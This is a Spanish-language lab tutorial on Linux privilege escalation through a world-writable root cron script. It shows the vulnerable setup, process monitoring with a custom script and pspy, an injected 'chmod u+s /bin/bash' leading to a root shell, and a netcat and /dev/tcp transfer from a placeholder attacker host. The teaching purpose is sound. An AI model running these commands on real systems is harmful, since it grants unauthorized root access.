🔬 Montando un Mini Laboratorio de Escalada de Privilegios
🛠️ Configuración Inicial (Como Root)
Advertencia de Seguridad
Este laboratorio está diseñado solo para fines educativos. Nunca implemente estas configuraciones en sistemas de producción.
1. Preparando el Script Vulnerable
# Creamos un script en /tmp
echo '#!/bin/bash
echo "Hola mundo" >> /tmp/archivo.txt' > /tmp/script.sh
# Configuramos permisos (ejecutable y escribible por otros)
chmod +x /tmp/script.sh
chmod o+w /tmp/script.shExplicación de Permisos
+x→ Hace el script ejecutableo+w→ Permite a cualquier usuario modificar el contenido del script
2. Configurando el Cron Job
crontab -eAñadimos la siguiente línea al archivo crontab:
* * * * * /bin/bash /tmp/script.shDesglose de Crontab
Campo Valor Significado Minuto * Cada minuto Hora * Cada hora Día del mes * Cada día Mes * Cada mes Día de la semana * Cada día de la semana
👤 Explotación (Como Usuario No Privilegiado)
1. Reconocimiento Inicial
Verificamos el contenido del script:
cat /tmp/script.sh#!/bin/bash
echo "Hola mundo" >> /tmp/archivo.txt2. Monitoreo de Procesos
Opción A: Script Personalizado de Monitoreo
Creamos un monitor de procesos simple:
cat > procmon.sh << 'EOF'
#!/bin/bash
old_procs=$(ps -eo user,command)
while true; do
new_procs=$(ps -eo user,command)
diff <(echo "$old_procs") <(echo "$new_procs") | grep "[\>\<]" | grep -vE "procmon|command|kworker"
old_procs=$new_procs
sleep 0.1
done
EOF
chmod +x procmon.shFuncionamiento
Este script compara continuamente la lista actual de procesos con la anterior, mostrando solo las diferencias, lo que nos permite detectar cuándo se ejecuta nuestro script objetivo.
Opción B: Utilizando pspy
pspy es una herramienta especializada para monitorear procesos sin privilegios de root:
./pspy64 -pf -i 1000Parámetros de pspy
-pf: Muestra información completa de los procesos-i 1000: Intervalo de escaneo de 1000ms (1 segundo)
3. Modificación del Script para Escalada de Privilegios
Una vez confirmado que el script se ejecuta como root, lo modificamos:
cat > /tmp/script.sh << 'EOF'
#!/bin/bash
echo "Hola mundo" >> /tmp/archivo.txt
# Añadir bit SUID a /bin/bash
chmod u+s /bin/bash
EOFImpacto de Seguridad
El comando
chmod u+s /bin/bashestablece el bit SUID en bash, permitiendo que cualquier usuario lo ejecute con los privilegios del propietario (root).
4. Verificando la Explotación
Esperamos un minuto para que el cron ejecute nuestro script modificado, luego:
ls -la /bin/bashSi vemos algo como -rwsr-xr-x, el bit SUID está establecido.
5. Obteniendo Shell como Root
/bin/bash -pResultado Esperado
El parámetro
-pmantiene los privilegios efectivos del SUID, resultando en una shell de root.
📡 Transferencia de Herramientas
Si necesitas transferir herramientas como pspy a la máquina objetivo, puedes usar netcat:
En la máquina atacante:
nc -nlvp 443 < pspy64En la máquina víctima:
cat </dev/tcp/ip_atacante/443 > pspy64
chmod +x pspy64Para más detalles sobre esta técnica, consulta Netcat - Transferencia de archivos por TCP.
hacking privilege_escalation cron suid linux lab_setup red_team